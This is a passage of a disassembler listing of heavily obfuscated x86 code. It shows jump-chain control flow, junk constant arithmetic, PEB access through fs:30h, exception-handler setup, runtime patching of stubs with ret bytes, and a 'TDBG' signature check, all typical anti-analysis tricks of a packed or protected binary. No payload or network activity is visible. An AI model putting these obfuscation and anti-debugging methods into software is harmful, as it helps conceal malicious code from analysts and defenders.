		jmp	loc_439CB8
; ---------------------------------------------------------------------------
		jmp	loc_454335
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_45383B

loc_45595A:				; CODE XREF: sub_45383B:loc_45123Aj
		mov	eax, large fs:30h
		push	ebx
		push	0C5CBFE21h
		xchg	esi, [esp+0]
		jmp	loc_439597
; END OF FUNCTION CHUNK	FOR sub_45383B
; ---------------------------------------------------------------------------
		test	ebx, ebp
		jmp	loc_455AD5
; ---------------------------------------------------------------------------

loc_455976:				; CODE XREF: dviuq5id:0044FA5Aj
		jb	loc_44E3B3
		push	8CAE92F1h

; =============== S U B	R O U T	I N E =======================================



sub_455981	proc near		; CODE XREF: sub_44E2FA+6p

; FUNCTION CHUNK AT 0043C623 SIZE 00000022 BYTES
; FUNCTION CHUNK AT 00441F49 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044CA95 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00450C4B SIZE 00000013 BYTES

		xchg	eax, [esp+0]
		pop	eax
		push	ebp
		jmp	loc_43C623
sub_455981	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		shr	ebx, 16h
		adc	edi, edx
		jmp	sub_43F1BA
; ---------------------------------------------------------------------------

loc_455995:				; CODE XREF: dviuq5id:004404D2j
		jnz	loc_444B31
		jmp	loc_4443D2

; =============== S U B	R O U T	I N E =======================================



sub_4559A0	proc near		; CODE XREF: dviuq5id:0044295Bp
					; dviuq5id:00454028j

arg_0		= dword	ptr  4

		xchg	esi, [esp+0]
		pop	esi
		add	ebx, 1464EB1h
		xchg	ebx, [esp-4+arg_0]
		jmp	sub_44A58C
sub_4559A0	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439013

loc_4559B2:				; CODE XREF: sub_439013+128BEj
		pop	ecx
		rol	esi, 5

loc_4559B6:				; CODE XREF: sub_439013:loc_44B8C3j
		add	edx, 9201C28Fh
		mov	[edx], eax

loc_4559BE:				; CODE XREF: sub_44250B:loc_43C392j
		pop	edx

loc_4559BF:				; CODE XREF: sub_443F7F+43D1j
		lea	eax, [ebp-14h]
		xor	edx, edx
		call	sub_45A04B
		jmp	loc_459B4B
; END OF FUNCTION CHUNK	FOR sub_439013

; =============== S U B	R O U T	I N E =======================================



sub_4559CE	proc near		; CODE XREF: sub_43938B+79D2p
					; dviuq5id:00445601j

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0043BA25 SIZE 00000021 BYTES
; FUNCTION CHUNK AT 0043ECEF SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044244F SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00443C66 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0044A5BE SIZE 0000001C BYTES
; FUNCTION CHUNK AT 0044AE0F SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0044B24F SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004526DC SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00455523 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 00456A98 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0045812A SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004593C1 SIZE 00000019 BYTES

		xchg	edx, [esp+0]
		pop	edx
		xchg	edi, [esp+0]
		push	0
		push	esi
		push	15DB8F11h
		jmp	loc_4593C1
sub_4559CE	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_457574

loc_4559E2:				; CODE XREF: sub_457574-6A08j
		jo	loc_4565BD
		jmp	loc_446745
; END OF FUNCTION CHUNK	FOR sub_457574
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448154

loc_4559ED:				; CODE XREF: sub_448154+110B6j
		jbe	loc_43A647

loc_4559F3:				; CODE XREF: sub_448154:loc_43AD81j
		call	sub_443F7F
		mov	edx, 0DDABAF17h
		push	eax
		push	0BA5E73EEh
		jmp	loc_45252D
; END OF FUNCTION CHUNK	FOR sub_448154
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44D736

loc_455A08:				; CODE XREF: sub_44D736:loc_44D751j
		call	sub_45A3B5

loc_455A0D:				; CODE XREF: sub_43DDAC+41BFj
		jmp	loc_44416D
; END OF FUNCTION CHUNK	FOR sub_44D736
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C9A9

loc_455A12:				; CODE XREF: sub_43C9A9:loc_44080Fj
		push	edi
		mov	edi, ecx
		xchg	edi, [esp+8+var_8]
		mov	[ebp-4], eax
		mov	eax, [ebp-4]
		push	offset sub_44B99E
		jmp	loc_4585E2
; END OF FUNCTION CHUNK	FOR sub_43C9A9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43E08B

loc_455A28:				; CODE XREF: sub_43E08B:loc_44FC96j
		push	esi
		mov	esi, eax
		push	offset sub_4442C5
		jmp	loc_44E95A
; END OF FUNCTION CHUNK	FOR sub_43E08B
; ---------------------------------------------------------------------------
		jmp	ds:off_41D1F8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44BAF7

loc_455A3B:				; CODE XREF: sub_443862:loc_449B1Cj
					; dviuq5id:0044A81Aj ...
		pop	edx
		jb	loc_44EBC4
		mov	eax, [esp+0]
		jmp	loc_445A8E
; END OF FUNCTION CHUNK	FOR sub_44BAF7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43FAE1

loc_455A4A:				; CODE XREF: sub_43FAE1+16FA6j
		jl	loc_450491

loc_455A50:				; CODE XREF: sub_43D181:loc_45989Aj
		jmp	loc_4465AB
; END OF FUNCTION CHUNK	FOR sub_43FAE1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440AB3

loc_455A55:				; CODE XREF: sub_440AB3+F327j
		jmp	loc_44FEE6
; END OF FUNCTION CHUNK	FOR sub_440AB3
; ---------------------------------------------------------------------------
		rol	edi, 0Fh
		add	edi, ebx
		test	edx, 14F45E38h
		jmp	loc_439C37
; ---------------------------------------------------------------------------

loc_455A6A:				; CODE XREF: dviuq5id:00456AF4j
		jnb	loc_4519BD
; START	OF FUNCTION CHUNK FOR sub_448A6A

loc_455A70:				; CODE XREF: sub_448A6A+B46Ej
		add	eax, 5B836460h
		call	sub_453642
		mov	ds:dword_41D0C4, eax
		lea	eax, nullsub_9
		mov	byte ptr [eax],	0C3h
		jmp	loc_43A9EA
; END OF FUNCTION CHUNK	FOR sub_448A6A
; ---------------------------------------------------------------------------
		push	offset sub_450AAE
		jmp	loc_43E51F
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_74. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4525D0

loc_455A9A:				; CODE XREF: sub_4525D0+206Fj
					; sub_4525D0:loc_45688Bj
		lea	eax, [ebp-26Fh]
		cmp	dword ptr [eax], 47424454h
		jz	loc_452033
		jmp	loc_44B31C
; END OF FUNCTION CHUNK	FOR sub_4525D0
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_296. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4526A7

loc_455AB2:				; CODE XREF: sub_4526A7+Dj
		jmp	sub_43938B
; END OF FUNCTION CHUNK	FOR sub_4526A7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_457566

loc_455AB7:				; CODE XREF: sub_457566-BCA8j
		jmp	sub_43CC2A
; END OF FUNCTION CHUNK	FOR sub_457566
; ---------------------------------------------------------------------------

loc_455ABC:				; DATA XREF: sub_43DD79+326Co
		add	edx, 2FAC0320h
		popf
		call	sub_443A2A

loc_455AC8:				; CODE XREF: dviuq5id:00448F81j
		jno	loc_44B7A1
		adc	esi, edi
		jmp	sub_456567
; ---------------------------------------------------------------------------

loc_455AD5:				; CODE XREF: dviuq5id:00455971j
		jp	loc_450759

; =============== S U B	R O U T	I N E =======================================



sub_455ADB	proc near		; CODE XREF: sub_459AAF:loc_454889p
		xchg	edi, [esp+0]
		pop	edi
		mov	large fs:0, esp
		mov	eax, [eax]
		mov	eax, 1
		jmp	loc_459AA4
sub_455ADB	endp ; sp-analysis failed

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_21. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
		add	eax, offset nullsub_21
		jmp	loc_448D64
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43EB11

loc_455AFD:				; CODE XREF: sub_43EB11+12C01j
		adc	eax, esi
		cmp	ebp, 93D6BEE8h
		jmp	loc_451B9F
; END OF FUNCTION CHUNK	FOR sub_43EB11

; =============== S U B	R O U T	I N E =======================================



sub_455B0A	proc near		; DATA XREF: dviuq5id:00453A4Do

; FUNCTION CHUNK AT 0044848A SIZE 00000005 BYTES

		mov	byte ptr [eax],	0C3h
		jmp	loc_44848A
sub_455B0A	endp

; ---------------------------------------------------------------------------

loc_455B12:				; CODE XREF: dviuq5id:00455C8Bj
		mov	eax, [esp]
		push	ebp
		mov	ebp, edx
		jmp	loc_44F9DF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43F9E7

loc_455B1D:				; CODE XREF: sub_443A2A+7j
					; sub_441645:loc_449DC4j ...
		push	edx
		mov	edx, ebp
		xchg	edx, [esp+34h+var_34]
		mov	ebp, esp
		jmp	loc_44D167
; END OF FUNCTION CHUNK	FOR sub_43F9E7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43FBEA

loc_455B2A:				; CODE XREF: sub_43FBEA:loc_455F66j
		xchg	eax, [esp+0]
		mov	edx, eax
		xchg	ebx, [esp+0]

loc_455B32:				; CODE XREF: sub_44B2EA:loc_44A0F5j
		mov	eax, ebx
		pop	ebx
		jmp	loc_43D37E
; END OF FUNCTION CHUNK	FOR sub_43FBEA

; =============== S U B	R O U T	I N E =======================================



sub_455B3A	proc near		; DATA XREF: sub_4525D0-593Ao

; FUNCTION CHUNK AT 0043B7CF SIZE 00000010 BYTES

		add	eax, ebp
		push	ecx
		push	7BE4E1D5h
		pop	ecx
		or	ecx, 3B87CB8h
		xor	ecx, 0A4542824h
		jmp	loc_43B7CF
sub_455B3A	endp


; =============== S U B	R O U T	I N E =======================================



sub_455B54	proc near		; CODE XREF: sub_449187-4143p
					; dviuq5id:0045282Fj

; FUNCTION CHUNK AT 0043E16C SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043F150 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0043F74B SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043FE73 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00440875 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 00442E9B SIZE 00000014 BYTES
; FUNCTION CHUNK AT 004442DE SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00445B42 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00447790 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00448BE0 SIZE 00000025 BYTES
; FUNCTION CHUNK AT 0044AB61 SIZE 0000001F BYTES
; FUNCTION CHUNK AT 004585EC SIZE 0000000B BYTES

		xchg	edi, [esp+0]
		pop	edi
		sub	al, 99h

loc_455B5A:				; CODE XREF: sub_441F76+14B67j
		push	0C54B3624h
		pop	edx
		add	edx, 101622Ah
		jmp	loc_448BE0
sub_455B54	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

loc_455B6B:				; CODE XREF: dviuq5id:0044B9CAj
		add	ebx, 8DB0880Eh

; =============== S U B	R O U T	I N E =======================================



sub_455B71	proc near		; CODE XREF: sub_456A43-7730p

; FUNCTION CHUNK AT 0043A778 SIZE 00000003 BYTES
; FUNCTION CHUNK AT 004529C8 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0045620E SIZE 0000001A BYTES

		xchg	ecx, [esp+0]
		pop	ecx
		mov	eax, esp
		push	ecx
		push	0A4E14AB2h
		pop	ecx
		jmp	loc_4529C8
sub_455B71	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_449485

loc_455B83:				; CODE XREF: sub_449485-EEC6j
		push	offset sub_4515EB
		jmp	loc_455377
; END OF FUNCTION CHUNK	FOR sub_449485
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43938B

loc_455B8D:				; CODE XREF: sub_43938B+12EA0j
		jl	loc_452630

loc_455B93:				; CODE XREF: dviuq5id:00458855j
		jmp	loc_446C24
; END OF FUNCTION CHUNK	FOR sub_43938B
; ---------------------------------------------------------------------------
		not	eax
		jmp	loc_43B970
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_233. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------

loc_455BA0:				; CODE XREF: dviuq5id:0045535Bj
		jmp	loc_4421B1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4557A6

loc_455BA5:				; CODE XREF: sub_4557A6-12D2Cj
		jmp	loc_44C15C
; END OF FUNCTION CHUNK	FOR sub_4557A6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44FE77

loc_455BAA:				; CODE XREF: sub_44FE77-15F6Aj
		pop	ebx
		sub	ebx, 0C40BCBC5h
		pop	ebx
		pop	edx
		pop	ecx
		jmp	loc_44F1D7
; END OF FUNCTION CHUNK	FOR sub_44FE77
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43ED10

loc_455BB9:				; CODE XREF: sub_43ED10+7362j
		jnz	loc_453E03
		push	esi
; END OF FUNCTION CHUNK	FOR sub_43ED10
; START	OF FUNCTION CHUNK FOR sub_44ABE0

loc_455BC0:				; CODE XREF: sub_44ABE0-A038j
					; sub_44122E+10j ...
		jmp	loc_44DA2F
; END OF FUNCTION CHUNK	FOR sub_44ABE0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43ED10

loc_455BC5:				; CODE XREF: sub_43ED10+3j
					; sub_44122E+132F5j
		xchg	edx, [esp+4+var_4]
		mov	ecx, edx
		xchg	edi, [esp+4+var_4]
		mov	edx, edi
		jmp	loc_454BB9
; END OF FUNCTION CHUNK	FOR sub_43ED10
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43FA59

loc_455BD4:				; CODE XREF: sub_43FA59:loc_4469F4j
		jz	loc_45578F
		jmp	loc_43FE16
; END OF FUNCTION CHUNK	FOR sub_43FA59
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44BAF7

loc_455BDF:				; CODE XREF: sub_44BAF7+30EAj
		xor	esi, 2686D086h
		add	esi, 4A9AB889h
		xchg	esi, [esp+8+var_8]
		jmp	loc_43D0F6
; END OF FUNCTION CHUNK	FOR sub_44BAF7
; ---------------------------------------------------------------------------

loc_455BF3:				; CODE XREF: dviuq5id:loc_452D31j
		call	sub_43B2BA
; START	OF FUNCTION CHUNK FOR sub_441AC0

loc_455BF8:				; CODE XREF: sub_441AC0+5j
		jmp	loc_4418EE
; END OF FUNCTION CHUNK	FOR sub_441AC0
; ---------------------------------------------------------------------------
		mov	edx, [eax]
		jmp	sub_44D9C6
; ---------------------------------------------------------------------------
		mov	ds:dword_41D0BC, eax
		lea	eax, nullsub_306
		mov	byte ptr [eax],	0C3h
		jmp	nullsub_306
; ---------------------------------------------------------------------------

loc_455C18:				; CODE XREF: dviuq5id:loc_457F0Cj
		mov	eax, [esp]
		push	edx
		call	sub_454AAA
		mov	eax, 5A4FBBBh
		jmp	loc_445B0D

; =============== S U B	R O U T	I N E =======================================



sub_455C2B	proc near		; CODE XREF: sub_43D53C+1153Dp
					; dviuq5id:00459F4Aj

; FUNCTION CHUNK AT 00445A77 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00446D98 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044CEB5 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 00459761 SIZE 0000000B BYTES

		xchg	ebx, [esp+0]
		pop	ebx
		call	sub_453642
		push	edi
		push	0AF15B862h
		pop	edi
		sub	edi, 5362EC94h
		and	edi, 0D29AE8FFh
		jmp	loc_445A77
sub_455C2B	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43BA0E

loc_455C4C:				; CODE XREF: sub_43BA0E:loc_43D7D8j
		jz	loc_4548A7
		jmp	loc_44DF5D
; END OF FUNCTION CHUNK	FOR sub_43BA0E
; ---------------------------------------------------------------------------
		push	1D86AEE9h
		jmp	sub_456EE5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43FA59

loc_455C61:				; CODE XREF: sub_43FA59+1B6Cj
		jz	loc_439772
		jmp	loc_43CD3A
; END OF FUNCTION CHUNK	FOR sub_43FA59
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_273. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------

loc_455C6D:				; CODE XREF: dviuq5id:0045995Cj
		jmp	loc_43C82E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44395C

loc_455C72:				; CODE XREF: sub_44395C+A135j
		jmp	sub_44395C
; END OF FUNCTION CHUNK	FOR sub_44395C

; =============== S U B	R O U T	I N E =======================================



sub_455C77	proc near		; DATA XREF: dviuq5id:00451343o
		mov	byte ptr [eax],	0C3h
		jmp	loc_43973D
sub_455C77	endp

; ---------------------------------------------------------------------------
		call	nullsub_514
		jmp	ds:dword_41D088
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_514. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
		jno	loc_455B12
		jmp	loc_453A2E
; ---------------------------------------------------------------------------
		xor	edx, esi
		jmp	sub_456280
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4393C3

loc_455C9D:				; CODE XREF: sub_4393C3+1AE24j
		jz	loc_43BB61
		shl	ebp, 0Bh
		sbb	ecx, ebx
		mov	[ebx], ebp
		sbb	eax, ecx
		jmp	loc_439A2D
; END OF FUNCTION CHUNK	FOR sub_4393C3
; ---------------------------------------------------------------------------

loc_455CB1:				; DATA XREF: sub_448FC7+E20Bo
		call	sub_45327C
		push	755F9C07h
		xor	eax, 3394D837h
		jmp	loc_450050
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_456253

loc_455CC6:				; CODE XREF: sub_456253+Ej
		jnz	loc_446633

loc_455CCC:				; CODE XREF: dviuq5id:loc_446C3Bj
		jmp	loc_452C72
; END OF FUNCTION CHUNK	FOR sub_456253

; =============== S U B	R O U T	I N E =======================================



sub_455CD1	proc near		; CODE XREF: sub_454267-261Cj
					; sub_454267:loc_454C25j

; FUNCTION CHUNK AT 0043FD8A SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00441C40 SIZE 0000000E BYTES

		push	ebx
		push	0FA9C3B94h
		pop	ebx
		add	ebx, 86F26D4Dh
		or	ebx, 5F11558Eh
		jmp	loc_43FD8A
sub_455CD1	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_459BC0

loc_455CE9:				; CODE XREF: sub_459BC0-1D833j
		add	edx, ebx
		pop	ebx
		mov	edx, [edx]
		imul	byte ptr [edx]
		cmp	al, 0A4h
		jz	loc_44CA8D
		jmp	loc_44367F
; END OF FUNCTION CHUNK	FOR sub_459BC0
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_347. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------

loc_455CFE:				; CODE XREF: dviuq5id:004573C2j
		jmp	loc_459C05
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_451EEC

loc_455D03:				; CODE XREF: sub_451EEC-15238j
		pop	eax
		rol	eax, 1Dh
		or	eax, 0A4F31861h
		add	eax, 1250E1CDh
		mov	eax, [eax]
		push	offset loc_44E331
		jmp	loc_448948
; END OF FUNCTION CHUNK	FOR sub_451EEC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_444E1A

loc_455D1F:				; CODE XREF: sub_444E1A:loc_43E31Dj
					; dviuq5id:0043E33Ej
		sub	ecx, 8E4D03F2h
		add	ecx, 45CDC5CAh
		xchg	ecx, [esp+0]
		jmp	sub_43CCD1
; END OF FUNCTION CHUNK	FOR sub_444E1A
; ---------------------------------------------------------------------------

loc_455D33:				; CODE XREF: dviuq5id:0044E3EBj
		push	ebx
; START	OF FUNCTION CHUNK FOR sub_439C09

loc_455D34:				; CODE XREF: sub_439C09:loc_44E3D4j
		xor	eax, 1FC928FFh
		push	ecx
		pushf
		push	468CA110h
		jmp	loc_4555A5
; END OF FUNCTION CHUNK	FOR sub_439C09
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43D83D

loc_455D46:				; CODE XREF: sub_43D83D:loc_4427D5j
		jz	loc_448771
		jmp	loc_44B548
; END OF FUNCTION CHUNK	FOR sub_43D83D
; ---------------------------------------------------------------------------

loc_455D51:				; CODE XREF: dviuq5id:00451E74j
		xor	eax, ebp
		ror	ebx, 8
; START	OF FUNCTION CHUNK FOR sub_44B2EA

loc_455D56:				; CODE XREF: sub_44B2EA:loc_451E65j
		add	edi, 92EB4C18h
		mov	[edi], eax
		pop	edi
		push	offset sub_44803A
		jmp	loc_44A8BA
; END OF FUNCTION CHUNK	FOR sub_44B2EA
; ---------------------------------------------------------------------------

loc_455D69:				; CODE XREF: dviuq5id:0043F340j
		add	esi, 78417BA4h
		call	sub_44DDEF

loc_455D74:				; CODE XREF: dviuq5id:00454072j
		jmp	loc_44AC51
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43B3A0

loc_455D79:				; CODE XREF: sub_43B3A0+17E32j
		jmp	loc_451470
; END OF FUNCTION CHUNK	FOR sub_43B3A0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_450E0E

loc_455D7E:				; CODE XREF: sub_450E0E+32Cj
		jmp	nullsub_387
; END OF FUNCTION CHUNK	FOR sub_450E0E
; ---------------------------------------------------------------------------

loc_455D83:				; CODE XREF: dviuq5id:0044CB0Ej
		jmp	loc_44F7A5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C3D8

loc_455D88:				; CODE XREF: sub_43C3D8+C681j
		jmp	loc_43A0F1
; END OF FUNCTION CHUNK	FOR sub_43C3D8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_443862

loc_455D8D:				; CODE XREF: sub_443862+Dj
		rol	ebx, 4
		and	ebx, 460542DCh
		cmp	ebx, 43369C0Dh
		jmp	loc_4501D2
; END OF FUNCTION CHUNK	FOR sub_443862
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4463B7

loc_455DA1:				; CODE XREF: sub_4463B7+10ECDj
		popf
		jmp	loc_443F51
; END OF FUNCTION CHUNK	FOR sub_4463B7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_442BFE

loc_455DA7:				; CODE XREF: sub_442BFE:loc_44B3D3j
		jz	loc_4487E9
		sub	esi, ecx
		and	eax, 0CD63F0B8h
		jmp	loc_4487E9
; END OF FUNCTION CHUNK	FOR sub_442BFE
; ---------------------------------------------------------------------------
		sbb	ebx, 906F1931h
		jmp	loc_441782
; ---------------------------------------------------------------------------

loc_455DC5:				; CODE XREF: dviuq5id:0044854Dj
		mov	eax, esi

; =============== S U B	R O U T	I N E =======================================



sub_455DC7	proc near		; CODE XREF: sub_451B18-2ADCp
		xchg	ecx, [esp+0]
		pop	ecx
		mov	[ebp-20h], eax
		jmp	loc_44A501
sub_455DC7	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_451B18

loc_455DD3:				; CODE XREF: sub_451B18:loc_45572Fj
		test	byte ptr [ebp-7], 8
		jz	loc_453AEF

loc_455DDD:				; CODE XREF: dviuq5id:00454CB2j
		push	ebp
		mov	eax, [ebp-20h]
		jmp	loc_439254
; END OF FUNCTION CHUNK	FOR sub_451B18
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43A160

loc_455DE6:				; CODE XREF: sub_43A160+1799Ej
		xor	ecx, 82CDF3E1h
		sbb	ebx, 1ADC736Dh
		or	ebx, 75CC7779h
		add	ebp, 518D1E5Bh
		jmp	loc_457190
; END OF FUNCTION CHUNK	FOR sub_43A160
; ---------------------------------------------------------------------------

loc_455E03:				; CODE XREF: dviuq5id:00448467j
		js	loc_451021

loc_455E09:				; CODE XREF: dviuq5id:0043923Cj
		add	ebx, edi
		test	esi, ecx
		jmp	loc_451867
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44EAC4

loc_455E12:				; CODE XREF: sub_44EAC4:loc_43F59Fj
		jnp	loc_447AC6
		push	0A1E41190h
		mov	esi, eax
		ror	edi, 13h
		jmp	loc_43A25E
; END OF FUNCTION CHUNK	FOR sub_44EAC4
; ---------------------------------------------------------------------------

loc_455E27:				; CODE XREF: dviuq5id:0044C499j
		js	loc_459ABC
; START	OF FUNCTION CHUNK FOR sub_458B23

loc_455E2D:				; CODE XREF: sub_458B23:loc_454045j
		add	ecx, 6E7ED8D5h
		popf
		xor	eax, ecx
		pop	ecx
		ror	eax, 10h
		jmp	loc_44D1CA
; END OF FUNCTION CHUNK	FOR sub_458B23
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44F9FB

loc_455E3F:				; CODE XREF: sub_44F9FB-3ADEj
		pushf
		push	0C90B51C0h
		pop	esi
		xor	esi, 0E49975E2h
		add	esi, 0D2B23BC8h
		jmp	loc_457634
; END OF FUNCTION CHUNK	FOR sub_44F9FB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44084F

loc_455E57:				; CODE XREF: sub_44084F+18753j
		jg	loc_43BA5B
		xchg	esi, ebp
		jmp	loc_43B81E
; END OF FUNCTION CHUNK	FOR sub_44084F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_446682

loc_455E64:				; CODE XREF: sub_446682+4j
		sub	al, 99h
		mov	edx, [ebp-4]
		call	sub_4404A6

loc_455E6E:				; CODE XREF: dviuq5id:00441A3Fj
		jg	loc_452DCC
; END OF FUNCTION CHUNK	FOR sub_446682

; =============== S U B	R O U T	I N E =======================================



sub_455E74	proc near		; CODE XREF: dviuq5id:00439350p
		xchg	edi, [esp+0]
		pop	edi

loc_455E78:				; CODE XREF: dviuq5id:00446CE5j
		call	sub_442503
		push	920F05BBh
		xchg	ecx, [esp+0]
		mov	eax, ecx
		pop	ecx
		jmp	loc_4401A2
sub_455E74	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		shl	edi, 14h
		jmp	sub_442E4F
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_249. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------

loc_455E96:				; CODE XREF: dviuq5id:004409D0j
		jnp	loc_449024
; START	OF FUNCTION CHUNK FOR sub_43EFA5

loc_455E9C:				; CODE XREF: sub_43EFA5+10j
		rol	esi, 18h
		sub	esi, 771AFD98h
		add	esi, 0B55E9D04h
		jmp	loc_442454
; END OF FUNCTION CHUNK	FOR sub_43EFA5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4422EC

loc_455EB0:				; CODE XREF: sub_4422EC+CC1Aj
		jno	loc_45A3F7
		xchg	eax, [edi]
		and	eax, 0FF19CB06h
		adc	esi, ecx

loc_455EC0:				; CODE XREF: sub_4422EC:loc_4521B1j
		call	sub_456F43
		jmp	loc_45341E
; END OF FUNCTION CHUNK	FOR sub_4422EC
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_143. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_453642

loc_455ECB:				; CODE XREF: sub_453642-7CB5j
		jmp	loc_443552
; END OF FUNCTION CHUNK	FOR sub_453642
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_452BBF

loc_455ED0:				; CODE XREF: sub_452BBF-C382j
		jz	loc_44167D
		jmp	loc_4508C2
; END OF FUNCTION CHUNK	FOR sub_452BBF
; ---------------------------------------------------------------------------

loc_455EDB:				; CODE XREF: dviuq5id:loc_440CFDj
		or	eax, 22F0D86Ah
		add	eax, 0CD453F13h
		xchg	eax, [esp]
		jmp	sub_44E3BA
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_488. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------

loc_455EF0:				; CODE XREF: dviuq5id:00449863j
		jmp	loc_43C7B4
; ---------------------------------------------------------------------------

loc_455EF5:				; CODE XREF: dviuq5id:loc_449300j
		or	eax, 76F48965h
		xor	eax, 0E9BADC90h
		push	edx
		call	sub_454BEA

loc_455F07:				; CODE XREF: dviuq5id:00458A09j
		jmp	loc_455745
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_445A59

loc_455F0C:				; CODE XREF: sub_445A59:loc_44D9A3j
		jz	loc_44D27C
		jmp	loc_4476B9
; END OF FUNCTION CHUNK	FOR sub_445A59
; ---------------------------------------------------------------------------

loc_455F17:				; CODE XREF: dviuq5id:004419EBj
		or	edx, 0C55884A7h
		jmp	loc_442B89
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448800

loc_455F22:				; CODE XREF: sub_448800:loc_43D79Dj
		push	esi
		push	675E8116h
		pop	esi
